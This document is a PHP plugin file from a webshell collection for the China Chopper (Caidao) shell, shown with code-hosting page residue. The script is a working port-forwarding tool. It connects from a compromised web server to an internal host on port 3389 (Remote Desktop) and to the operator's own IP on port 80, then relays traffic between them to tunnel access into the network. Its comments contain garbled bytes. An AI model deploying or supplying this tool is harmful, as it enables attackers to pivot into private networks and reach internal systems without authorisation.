webshell/caidao-shell/caidao-plug/php端口转向.ccc

57 lines
2.1 KiB
Text
Raw Normal View History

<EFBFBD><EFBFBD>$strIp = $_SERVER['REMOTE_ADDR'];
print $strIp;
$rhost = "www.test.com";//<00>vh
$rport = 3389;
$mhost = $strIp;//b
$mport = 80;
settype($rport, "integer");
settype($mport, "integer");
@ob_end_flush();
@set_time_limit(0);
@flush();
$fpr = @fsockopen($rhost, $rport, $errno, $errstr, 10);
if (!$fpr)
{
print "{$errstr}\n";die();
}
$fp = @fsockopen($mhost, $mport, $errno, $errstr, 10);
if (!$fp)
{
print "{$errstr}\n";die();
}
@set_socket_blocking($fpr, false);
@set_socket_blocking($fp, false);
print "-";
$fa = 0;
$fb = 0;
while (true)
{
@flush();
if (feof($fp) || feof($fpr))
break;
$data = @fread($fp, 512);
if ($data)
{
$n = ftell($fp)-$fa;
$fa += $n;
@set_socket_blocking($fpr, true);
@fwrite($fpr, $data, $n);
@set_socket_blocking($fpr, false);
}
$data = @fread($fpr, 512);
if ($data)
{
$n = ftell($fpr)-$fb;
$fb += $n;
@set_socket_blocking($fp, true);
@fwrite($fp, $data, $n);
@set_socket_blocking($fp, false);
}
}
@fclose($fpr);
@fclose($fp);
print ".";